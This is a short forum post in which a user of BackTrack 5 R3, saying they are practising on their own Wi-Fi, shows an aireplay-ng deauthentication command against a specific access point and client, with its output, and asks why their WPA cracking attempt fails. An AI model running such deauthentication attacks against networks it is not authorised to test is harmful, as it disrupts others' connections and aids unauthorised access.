I am using BT 5 R3 trying to practice on my own WIFI. I am attempting to crack WPA with a Alfa AWUS036H which i know can inject by testing. Whenever i attempt to use it i get this:

root@bt:~# aireplay-ng -0 10 -a 00:22:75:FB:60:F4 -c 00:20:00:75:E4:6F mon0
11:23:39 Waiting for beacon frame (BSSID: 00:22:75:FB:60:F4) on channel 5
11:23:40 Sending 64 directed DeAuth. STMAC: [00:20:00:75:E4:6F] [ 0|41 ACKs]
11:23:41 Sending 64 directed DeAuth. STMAC: [00:20:00:75:E4:6F] [ 0|40 ACKs]
11:23:41 Sending 64 directed DeAuth. STMAC: [00:20:00:75:E4:6F] [ 0|43 ACKs]
11:23:42 Sending 64 directed DeAuth. STMAC: [00:20:00:75:E4:6F] [ 0|42 ACKs]
11:23:42 Sending 64 directed DeAuth. STMAC: [00:20:00:75:E4:6F] [ 0|35 ACKs]
11:23:43 Sending 64 directed DeAuth. STMAC: [00:20:00:75:E4:6F] [ 0|44 ACKs]
11:23:43 Sending 64 directed DeAuth. STMAC: [00:20:00:75:E4:6F] [ 0|37 ACKs]
11:23:44 Sending 64 directed DeAuth. STMAC: [00:20:00:75:E4:6F] [ 0|38 ACKs]
11:23:45 Sending 64 directed DeAuth. STMAC: [00:20:00:75:E4:6F] [ 0|48 ACKs]
11:23:45 Sending 64 directed DeAuth. STMAC: [00:20:00:75:E4:6F] [ 0|42 ACKs]

i just can't figure it out, Any help would be appreciated